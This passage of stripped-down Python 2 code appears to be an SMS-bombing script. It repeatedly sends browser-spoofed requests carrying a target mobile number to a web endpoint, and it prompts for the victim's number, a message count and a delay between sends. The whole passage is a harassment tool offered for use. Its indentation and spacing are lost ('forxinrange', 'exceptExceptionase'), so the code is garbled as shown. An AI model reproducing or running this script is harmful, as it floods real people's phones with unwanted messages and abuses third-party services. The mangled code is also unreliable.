hdr={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding':'none','Accept-Language':'en-US,en;q=0.8','Connection':'keep-alive'}
result_url=url+num
req=urllib2.Request(result_url,headers=hdr)
forxinrange(counter):
banner()
#print("Target Number : ", num)
#print("Number of Message Sent : ", x+1)
page=urllib2.urlopen(req)
#resp1=Request(result_url)
#urlopen(resp1)
time.sleep(slep)
try:
banner()
number=raw_input("Enter mobileNumber: ")
count=raw_input("Enter number of Message: ")
throttle=raw_input("Enter time of sleep: ")
send(number,int(count),int(throttle))
exceptExceptionase:
print("Something is wrong please Re-run this script.")